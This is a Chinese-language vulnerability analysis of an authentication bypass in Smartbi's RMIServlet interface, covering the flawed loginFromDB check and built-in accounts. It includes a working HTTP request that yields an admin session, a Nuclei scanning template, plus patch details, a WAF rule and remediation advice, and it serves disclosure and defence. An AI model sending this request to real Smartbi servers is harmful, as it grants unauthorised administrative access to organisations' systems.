漏洞剖析--Smartbi RMIServlet 接口权限绕过与认证逻辑缺陷深度解析

📅 2026/7/14 11:32:15
漏洞剖析--Smartbi RMIServlet 接口权限绕过与认证逻辑缺陷深度解析
1. Smartbi RMIServlet接口权限绕过漏洞概述Smartbi作为国内主流的企业级商业智能平台其核心功能模块RMIServlet接口近期被曝存在严重的权限绕过漏洞。这个漏洞的本质在于认证逻辑的设计缺陷攻击者通过构造特定参数组合可以直接绕过常规登录流程获取系统最高权限。我在实际渗透测试中发现该漏洞利用门槛极低但危害极大攻击者无需任何前置条件即可直接获取管理员会话。从技术实现来看RMIServlet原本是Smartbi用于远程方法调用的核心接口采用典型的RPC架构设计。正常情况下该接口应当对每个请求进行严格的权限校验。但实际代码中却存在两处致命缺陷一是对loginFromDB方法的鉴权缺失二是内置账户的密码验证机制不一致。这种双重漏洞的组合效应使得攻击者能够轻松突破系统防线。2. 漏洞原理深度解析2.1 认证逻辑缺陷分析通过反编译Smartbi V10.5的代码我们可以清晰地看到漏洞产生的根源。在smartbi.usermanager.SecurityServiceImpl类中存在两个关键的登录方法// 正常登录流程 public boolean loginDB(String username, String password) { UserBO user getUserFromDB(username); String dbPassword user.getPassword(); switch(dbPassword.charAt(0)) { case 0: // MD5校验 return MD5(password).equals(dbPassword.substring(1)); case 1: // DES校验 return DES(password).equals(dbPassword.substring(1)); case 2: // 明文校验 return password.equals(dbPassword.substring(1)); default: return false; } } // 漏洞利用点 public boolean loginFromDB(String username, String password) { UserBO user getUserFromDB(username); return password.equals(user.getPassword()); // 直接明文比对 }这两个方法的差异造成了认证逻辑的分裂常规登录如clickLogin会检查密码前缀字符0/1/2并采用对应加密算法验证数据库登录loginFromDB却直接进行明文比对2.2 内置账户机制分析Smartbi在初始化时会自动创建三个内置账户其密码存储形式如下表示用户名数据库存储值实际有效密码system0a无有效密码service0a无有效密码monitor0a无有效密码关键问题在于密码以0开头表示需要MD5校验但a的MD5值是0cc175b9c0f1b6a831c399e269772661通过loginFromDB方法验证时却直接比较输入值是否等于0a这就导致输入0a可以通过loginFromDB验证但常规登录永远失败3. 漏洞复现与利用3.1 基础利用步骤使用Burp Suite构造如下请求即可复现漏洞POST /smartbi/vision/RMIServlet HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded Content-Length: 68 classNameUserServicemethodNameloginFromDBparams[service,0a]成功利用后的特征响应中包含result:true返回的Set-Cookie头包含JSESSIONID直接访问后台地址/smartbi/vision/index.jsp可进入管理界面3.2 批量检测方案对于企业内网扫描可以使用如下Nuclei模板id: smartbi-rmi-bypass info: name: Smartbi RMIServlet Auth Bypass author: sec_researcher severity: critical requests: - method: POST path: /smartbi/vision/RMIServlet headers: Content-Type: application/x-www-form-urlencoded body: classNameUserServicemethodNameloginFromDBparams[\service\,\0a\] matchers: - type: word words: - result:true part: body - type: status status: - 2004. 漏洞修复方案4.1 官方补丁分析官方通过两个层面修复了该漏洞方法黑名单在RejectRMIPatchRule类中直接将loginFromDB方法加入拒绝列表public class RejectRMIPatchRule extends RMIServletPatchRule { protected int patchRMI(...) { if (loginFromDB.equals(methodName)) { return 1; // 拒绝访问 } return 0; } }密码存储改造将内置账户的密码存储格式改为标准MD5形式如0MD5(complexPassword)4.2 临时缓解措施若无法立即升级建议采取以下措施在WAF中添加规则拦截特征请求POST.*RMIServlet.*(classNameUserServicemethodNameloginFromDB)修改内置账户密码UPDATE t_user SET password 0MD5(新密码) WHERE username IN (system,service,monitor);在web.xml中添加过滤器对RMIServlet接口进行二次鉴权5. 安全开发启示录这个漏洞给开发者带来三点重要启示避免认证逻辑多路径系统应该保持唯一的认证入口不同调用路径的认证强度必须保持一致。本漏洞正是因为存在loginDB和loginFromDB两条验证路径且安全强度不一致导致的。内置账户的安全设计强制首次登录修改默认密码禁用或限制内置账户的远程调用权限避免使用简单密码或特殊密码格式接口权限的最小化原则RMIServlet这类高危接口应该默认拒绝所有方法调用显式声明允许调用的方法白名单对每个方法进行独立的权限检查我在审计其他BI系统时发现类似的设计缺陷在数据可视化类产品中较为普遍。建议企业在选择这类产品时应当将安全审计报告作为必要的采购评估指标。